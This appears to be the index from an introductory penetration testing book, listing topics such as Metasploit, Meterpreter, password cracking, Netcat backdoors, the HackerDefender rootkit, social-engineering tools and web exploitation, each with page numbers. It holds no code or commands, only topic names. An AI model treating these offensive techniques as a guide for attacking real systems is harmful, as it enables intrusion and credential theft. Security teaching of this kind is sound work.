personalpassworddictionary,124

RainbowCrack,124

stackandheap-basedbufferoverflows,125

furtherpractice,124–126

JtR,97–100

LinuxandOSXpasswordcracking,107–108

localpasswordhacking,100–106

macof,112–116

Medusa,81–85

Metasploit,85–97

multipletools,119–120

passwordresetting,108–111

phase,17

practice,122–124

remotepasswordhacking,106–107

sniffing(Wireshark),111–112

F

Fierce,43–44

brute-forcehostnames,43

directory,43

inKali,43

Filetransferprotocol(FTP),32,59,81

First-OrderXSS,159

FOCA,50

G

Googledirectives,26–31

allintitle,27

commandto,26

directorybrowsing,30

dynamiccontent,20,30

examplesof,26

GHDB,29f,30f

filetypedirective,28

intitle,27

inurldirective,27

livechatfeatures,30–31

PCtechexample,31

powerof,29f

publicforums,31

utilization,26Seealsoreconnaissance

GoogleDorks,28–29

Google-FU,SeeGoogledirectives

Graphicaluserinterface(GUI),59,86

H

HackerDefender,176–180

cmdshell,178

configurationfiles,176

full-fledgedWindowsRootkit,176

headings,176

hiddenprocesses,177

HiddenRegKeys,177–178

hiddenservices,177

hsdef100.zipfile,176

.iniconfigurationfile,178

ports,178

rootprocesses,177

startuprun,178SeealsoRootkits

HailMaryfunction(Armitage),117,119

Harvester,31–32

commands,33

folder,33

output,34f

quickestwaytoaccess,32

runprogram,32

subdomains,33

twistingandmanipulatinginformation,32

Hashes.txtfile,103

HiddenRegKeys,177–178

Host

command,39

documentation,39

hostcommandoutput,39,39f

tool,39

HTML,Seehypertextmarkuplanguage

HTTP,Seehypertexttransferprotocol

HTTrack,23–26

Hxdef100.exe,176

Hxdef100.ini,176

Hypertextmarkuplanguage(HTML),141–142

Hypertexttransferprotocol(HTTP),149

I

Informationextraction

dig,42–43

DNSservers,39–40

frome-mailservers,44

Fierce,43–44

MetaGooFil,44–46

nslookup,41–42

sharingprocess,40

zonetransfer,40Seealsoreconnaissance

Informationgathering,Seereconnaissance

InternetControlMessageProtocol(ICMP),57

Internetprotocol(IP),21,53–54,81

J

Javaappletattack,131

JohntheRipper(JtR),82

directory,99

encryptedversion,98

four-stepprocess,99

hashingalgorithms,98–99

localattack,99–100

performancemetricslist,99

redteamexercises,97–98

remoteattack,99–100

userorguestgroup,97

K

KaliLinux,4–9,7b

advantage,9

attackmachinetorun,9

burningprocess,7

GRUBbootloaderbootmenu,8

securitycommunity,6

VMwarePlayer,7–8

VMwaresoftwarerole,11

L

LanManager(LM),99,103–104

Linuxpasswordcracking

privilegelevel,107

privilegedusers,107

SHA,108

shadowfile,107

systemfile,107–108

Localpasswordcracking

bruteforcinglettercombinations,105

crackedpasswords,105

extractingandviewingpasswordhashes,102–103

format_namecommand,105

hashes.txtfile,103,105

invokingsamdump2program,102

LMpasswordcracking,103–104

mkdircommand,101

mountcommand,101

mountinglocaldrive,101

NTLM,104

remotepasswordcracking,106

SAMfile,100–102

samdump2command,101–102

supersecretpassword,104

utilizingMeterpreter,106

VNCpayload,106

Windowspasswordscracking,106Seealsoexploitation

M

MAC,Seemediaaccesscontrol

Macof,113

discreteroutingproperty,112

dsniff,113

failclosedswitches,112

failopenswitches,112

MACaddresses,113

networktraffic,113

Wireshark,111–112

Maintainaccess,167–168

tools,Seebackdoors,Meterpreter,Rootkits

Maltego,SeePaterva’sMaltegotool

Manualproxyconfiguration,149

Mediaaccesscontrol(MAC),112

Medusa,81–85

bruteforcingprogram,83–84

command,83–84

onlinepasswordcrackers,81

parallelloginbruteforce,82

passworddictionary,82

remoteaccesssystems,81

andSSH,84

usernamelistcreation,83

uses,82

wordlist,82

MetaGooFil,44–46

attackerability,45

directory,45

metadata,44

output,45

Pythonscript,45

Metasploit,85–97

foraccessingmsfconsole,86

bindpayload,95–96

bufferoverflowsandexploitation,92–93

cheatsheet,93–94

commandprocessandrequirements,92–93

criticalorhighvulnerabilities,89

exploitframework,85

exploitofWindowstarget,94

framework,122,142–144

hashdumpcommand,97

initialscreen,86–87

Metasploitexpress,86

Metasploitpro,86

Meterpreterand,95–96

migratecommand,97

msfconsole,86

Nessusand,88–89

Nmapand,88–89

non-GUI,86

outputreview,90

payloads,85–86,91–92,94

rankingmethodology,91

ratingstorankexploitation,90–91

remotecodeexecution,87,89

reversepayloads,95–96

reviewingMetasploitdocumentation,95

“search”command,89

sendingexploitsandpayloadstotarget,93

setoptionnamecommand,92

setpayload,91

“showoptions”use,92

sourceexploitframework,85

usecommand,91

VNCsoftware,92

vulnerabilityscannervs.,86,91Seealsoexploitation

Meterpreter,95–96,181–183

advantages,96–97

built-incommands,181

functions,96

postexploitationactivities,182–183

shell,173,182

Mkdircommand,101

MultiPyInjectorvectors,133

N

Ncattool,185

Netbustool,185

Netcat,168–174

backdoors,184

clientorservermode,169

communication,170

–eswitch,172,184

forceNetcat,171

furtherpractice,185

keyboardinput,171

Linuxversion,170

listenermode,169

“ls”command,171

“man”pages,184

Meterpretershell,173

nc.exeprogram,173

practice,183–184

Rootkits,184

targetmachine,169–170

terminalwindow,172

transferfiles,168–170

UDPpackets,172

virus.exe,171

webserver,172

Windowsregistry,173

Windowstarget,173SeealsoCryptcat

Netcraft,37–38

informationgathering,38

searchoption,37f

sitereportforsyngress.com,38f

Networkinterfacecard(NIC),10

Nikto

commandline,144

multipleports,144

portnumber,144

webserver,144

webvulnerabilityscanner,145

Nmap

andNULLscan,68–69

andportscan,61–62

andSYNscan,63–64

andTCPscan,61–62

andUDPscan,39

andXmasscan,67

Nmapscriptingengine(NSE),54,69

bannerscript,70

community,69

dividesscriptsbycategory,69

invoking,70

NSE–Vulnscanresults,70f

vulncategory,70

Nonpromiscuousmode,111

NSLookup,41–42

DNSinterrogation,42

errormessage,42

andhost,combinatinof,42f

interactivemode,41

duringreconnaissanceprocess,41

O

Offensivesecurity,4

Onlinepasswordcrackers,81

OpenWebApplicationSecurityProject(OWASP),ZAP,SeeZedAttackProxy(ZAP)

Open-SourceIntelligence(OSINT),21

OpenVAS,77

P

Passwordresetting,108–111Seealsoexploitation

Paterva’sMaltegotool,51

Penetrationtesting,1,187

attackmachine,Seeattackmachine

blackbox,4

chatrooms,194

conceptof,2–4

detailedreport,189–191

ethicalhackervs.malicioushacker,3

executivesummary,189

exploitationphaseSeeexplotation

finalPTreport,17–18

finalreport,187

furtherpractice,18

goodvs.evil,2

hackinglab,useandcreationof,12–13

invertedtrianglemodel,14–15

KaliandBacktrackLinuxandothertools,4–9

pentestinglab,2,13

phasesof,14–18

pivoting,16

postexploitationandmaintainingaccess,17

rawoutput,191–194

realisticattacksimulation,3–4

reconnaissancephase,Seereconnaissance

ruleexception,14

securityauditingdistributions,18

securitycommunity,195

whiteboxpenetrationtesting,4

vulnerabilityassessmentvs.,1–2

zeroentryhackingpenetration,15f,16f

PenetrationTestingExecutionStandard(PTES),197

PenetrationTestingFramework(PTF),197

Penetrationtestingreport,189

borderrouter,190

flaws,190

legalandethicalrestrictions,190

mitigations,191

proof-of-conceptscreenshots,190

rawdata,188

rawtooloutput,191

reconnaissancephase,188

solutions,191

vulnerabilities,189–190

Pingsweeps,57–59

blockingpingpackets,59

catcommand,58–59

FPing,58

switches,59

Pings,57–59

command,57–58,57f

ICMPechorequestpacket,58

replacingtarget_ip,57

Portscanning,59

commandlineversion,59–60

fingerprintingoperatingsystem,71

gainaccesstotargetsystem,60

GUI-drivenway,60

listofopenports,71

Nmapand,59

switches,71

target_ip,71

timingswitch,71

versionscanning,71

Powershellinjectiontechnique,133,139

Promiscuousmode,111

PTES,SeePenetrationTestingExecutionStandard

PTF,SeePenetrationTestingFramework

PyInjectorvectors,133

Pythonscript,45,126

Q

QRCode,139

R

RainbowCrack,124

Rawoutput,191–194

directoutputtools,191

documentencryption,192

electronicdocument,192

grammarandspellingmistakes,193

professional-lookingreport,193

report-writingphase,194

wellwrittenpenetrationtest,193

Reconnaissance,19f,20,50

active,22

attackabletargetsfinding,49

automatedtools,20–21

dig,42–43

digital,21

DNSservers,extractinginformationfrom,39–40

e-malservers,extractinginformationfrom,44

Fierce,43–44

furtherpractice,50–51

GoogleDirectives,26–31

Harvester,31–34

hosttool,39

HTTrack,23–26

MetaGooFil,44–46

Netcraft,37–38

NSLookup,41–42

passive,22

practicesteps,50

publicinformationsearch,21

socialengineering,48–49

Syngress,20,23

ThreatagentDrone,46–47

Whois,34–37

Remotesystem,maintainingaccessto,167–168

usingbackdoor,168

Cryptcat,174

HackerDefender,176–180

Meterpreter,168

Netcat,168–174

Rootkits,168

Requestforcomments(RFC),67

Rootkits,174–176,181

antivirus,175

detectinganddefendingagainst,180–181

fileshiding,174

softwarepackage,175

stealthybackdooraccess,176

“su”or“RunAs”commands,180–181

traffic,181Seealsohackerdefender

S

SAMfile,Seesecurityaccountmanager

Scanning,54

analogy,55

conceptof,53–57

finaltarget,56

furtherpractice,77–78

Nmap,61–70

NSEand,55

nullscan,usingNmap,68–69

perimeterdevices,57

pingsweeps,57–59

pings,57–59

port,54–55

portnumbersandservice,56t

portscanning,59–60,71

practice,76–77

scanningmethod,55

SYNscan,usingNmap,63–64

TCPConnectscan,usingNmap,61–62

three-wayhandshakeprocess,60–61

UDPscan,usingNmap,39

vulnerabilityscanning,72–76

Xmasscan,usingNMAP,67

Searchenginedirectives,50SeealsoGoogledirectives

SearchDiggity,50

Securehashalgorithm(SHA),108

Secureshell(SSH),81

Securityaccountmanager(SAM),100–101

SET,Seesocial-engineertoolkit

SHA,Seesecurehashalgorithm

Sniffing,111–112

nonpromiscuousmode,111

promiscuousmode,111

sniffnetworktraffic,108,111

Socat,185

Socialengineering,48–49

conceptof,127–128

credentialharvester,136–137

example,48–49

menus,138

SET,Seesocial-engineertoolkit(SET)

websiteattackvectors,131–136

Social-engineertoolkit(SET),128–131,138–139

folderstructure,128

interface,128

menu-drivensystem,128

spearphishingattacks,128–129

universalexploits,130–131

WindowsXPSP3,129–130

Spidering

certificates,150

connectionsettings,149

full-featuredinterfacemode,148

Iceweasel,149–150

panels,148

proxyprogram,149

target’swebsite,148,150

WebScarab,148

SQL,Seestructuredquerylanguage

SSH,Seesecureshell

Stackandheap-basedbufferoverflows,125

StartupRunprograms,178

Structuredquerylanguage(SQL),142–144

injection,153–154

statements,154–155

SubSeven(Sub7),185

Swissarmyknifeinternettool,51

Syngress,20

T

TCP,Seetransmissioncontrolprotocol

ThreatAgentDrone,46–47

attackvectoridentification,47f

drone,46–47

optionforreconnaissance,46

results,47f

startingsearchwith,46f

Transmissioncontrolprotocol(TCP),59,169

TrueCrypt,192

TrustedSecprogram,135

Tunnelencryption,174

Twofishencryption,174

U

Ubuntu7.04,122–123

Uniformresourcelocator(URL),21,134,142–144

Userdatagramprotocol(UDP),59,169

V

Virtualmachine(VM),7,122,169b

Virtualnetworkcomputing(VNC),81

payload,106

software,92

VirtualPrivateNetwork(VPN),32

VMwareimage,7

Vulnerabilityscanning,16,55,70,72–76

Nessus,72,74,75f

plug-in,73

resultlink,76

safechecks,75

scanpolicies,75

scantargetsbox,76

settingup“safe”scanoption,74f

W

WebApplicationAuditandAttackFramework(w3af),145–147

flowingcommand,145

Kalimenu,145

plug-ins,145–147

andscanning,145,147

Shellspane,147

Web-basedexploitation,141–142

architectsystemsoftware,142

basics,142–144

cloudcomputingservices,142

codeinjectionattacks,153–157

conceptof,141–142

cross-sitescripting(XSS),157–159

furtherpractice,164

Nikto,144–145

practice,163–164

spidering,148

w3af,145–147

WebScarab,148–153

ZAP,160–163

WebGoat,163–164

WebScarab,148–153

Base64,153

CancelALLIntercepts,152

hiddenfields,151

HTTPrequestsandresponses,152

proxyserver,151

Websiteattackvectors

antivirusproducts,134

applets,131

IPaddress,131,135

Javaappletpopup,134

Metasploit,133

Meterpretershells,134

payloadselection,132–133

Powershellinjectiontechnique,133

andSET,131

TrustedSec,135

Whiteboxpenetrationtesting,4

WindowsXP,13

Wireshark,111–112

CaptureInterfacewindow,113–115

command,114,125

hub,108–109

“listavailablecaptureinterfaces”button,114

Linuxtarget,115

MACaddress,112

nonpromiscuousmode,111

promiscuousmode,111

sniffing,108,111,116

stoppingWiresharkcapture,115–116

X

XSS,Seecross-sitescripting

Z

ZedAttackProxy(ZAP),160

breakpointsfunctionality,161

Iceweaselproxysettingsconfiguration,160

inputvariables,161

interception,161–162

inKalimenu,160

scanning,163

spidering,162–163

Zonetransfer,40,42–44